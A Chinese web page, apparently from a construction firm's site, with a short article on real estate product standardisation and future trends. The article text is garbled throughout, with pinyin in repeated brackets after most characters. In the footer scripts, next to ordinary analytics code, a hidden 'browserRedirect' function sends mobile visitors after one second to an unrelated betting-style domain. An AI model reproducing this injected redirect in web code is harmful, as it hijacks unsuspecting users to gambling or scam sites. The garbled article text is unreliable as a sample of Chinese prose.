  建设标(biao)(biao)(biao)准化。房地产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)标(biao)(biao)(biao)准化是指(zhi)针(zhen)对(dui)同(tong)(tong)一条(tiao)房地产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)线,研究并固化形(xing)成(cheng)相(xiang)对(dui)统一的(de)(de)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)设计(ji)、配置标(biao)(biao)(biao)准,并应用于(yu)同(tong)(tong)一产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)系(xi)列的(de)(de)不(bu)同(tong)(tong)项(xiang)目中,以实现(xian)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)标(biao)(biao)(biao)准的(de)(de)复制(zhi)应用,提高产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)质量和开(kai)发效率。标(biao)(biao)(biao)准化开(kai)发模式就是同(tong)(tong)一产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)线和产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)系(xi)列下的(de)(de)不(bu)同(tong)(tong)项(xiang)目,部(bu)分产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)模块,比如大门、围墙、会(hui)所、户(hu)型、外立(li)面等(deng),在多个项(xiang)目上进行复制(zhi)。产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)标(biao)(biao)(biao)准化能(neng)够(gou)实现(xian)资(zi)金快速(su)周(zhou)转,提升(sheng)企(qi)业绩(ji)效。企(qi)业不(bu)仅应具(ju)有(you)一定的(de)(de)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)创新能(neng)力,更要有(you)高效的(de)(de)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)转化能(neng)力,即把创新产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)转化为成(cheng)熟(shu)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin),再(zai)把成(cheng)熟(shu)产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)转化为标(biao)(biao)(biao)准化产(chan)(chan)(chan)品(pin)(pin)(pin)(pin)。

  除了功(gong)能多样化(hua)、需求智能化(hua)、建设(she)标准化(hua)等趋势外,物联(lian)网、个性(xing)化(hua)、定制化(hua)也将是房地产(chan)产(chan)品的(de)未来趋势。(来源(yuan):人民网)


网站地图 | 友情链接 | 法律声明 | 联系我们 信访邮箱 帮助中心

电话:+86(10)88083699 传真:+86(10)88084266 E-MAIL:cscecfc@chatnur.com
地址:北京市海淀区三里河路15号中建大厦A座15层 邮编:100037 ICP许可证编号:京ICP备12023645号
推荐显示器分辨率1024*768 IE8.0以上浏览器

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();